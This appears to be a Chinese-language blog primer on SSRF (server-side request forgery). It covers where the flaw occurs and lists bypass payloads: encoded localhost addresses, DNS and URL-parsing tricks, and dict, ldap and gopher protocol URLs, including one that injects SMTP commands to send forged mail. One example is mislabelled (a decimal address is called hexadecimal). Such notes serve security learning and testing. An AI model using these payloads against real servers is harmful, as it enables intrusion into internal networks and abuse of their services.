关于SSRF的初探

简介

SSRF,即Server-Side Request Forgery,中文名服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

简单来说,就是利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。 攻击者可以利用SSRF实现的攻击主要有5种:

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序【比如溢出
  • 对内网WEB应用进行指纹识别,通过访问默认文件实现。
  • 攻击内外网的WEB应用,主要是使用 GET 参数就可以实现的攻击【比如Struts2Sqli
  • 利用file协议读取本地文件等。

利用场景

  • 探测内网信息
  • 攻击内网或本地其他服务
  • 穿透防火墙

出现场景

  • 能够对外发起网络请求的地方,就可能存在SSRF漏洞。
  • 从远程服务器请求资源【Upload from URL,Import & Export RSS Feed
  • 数据库内置功能【Oracle、MongoDB、MSSQL、Postgres、CouchDB
  • Webmail收取其他邮箱邮件【POP3、IMAP、SMTP
  • 文件处理、编码处理、属性信息处理【ffmpeg、ImageMagic、DOCX、PDF、XML

简单举例

  • 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
  • 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
  • 数据库的比如MongodbcopyDatabase函数,这点看猪猪侠讲的吧,没实践过。
  • 邮件系统就是接收邮件服务器地址这些地方。
  • 文件就找ImageMagickXml这些。
  • HTML代码关键字中寻找,比如:source、share、link、src、imageurl、target等。

原理

暂时挖坑,日后再补。

绕过方法

攻击本地

1
2
http://127.0.0.1:80
http://localhost:22

利用[::]

1
2
利用[::]充当localhost
http://[::]:80/ >>> http://127.0.0.1

利用@

1
http://example.com@127.0.0.1

利用短地址

1
http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用特殊域名

利用的原理是DNS解析

1
2
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/

利用DNS解析

1
在域名设置记录指向127.0.0.1 http://ssrf.ur10ser.xyz/

利用上传

1
2
3
4
也不一定是上传,我也说不清,自己体会 -.-
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF

利用Enclosed alphanumerics

1
2
3
4
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句号

1
127。0。0。1  >>>  127.0.0.1

利用进制转换

1
2
3
4
5
6
7
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73efd21a
然后把73efd21a这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0,跟XSS中多加几个0来绕过过滤一样),十六进制加0x
八进制 http://0177.0.0.1/ >>> http://127.0.0.1
十六进制 http://2130706433/ >>> http://127.0.0.1

利用协议

1
2
3
4
5
6
7
8
9
10
11
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

利用其他特殊地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
127.00.1
127.0.01
0.00.0
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000.0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1
localtest.me

Refer

SSRF及其绕过

SSRF绕过方法总结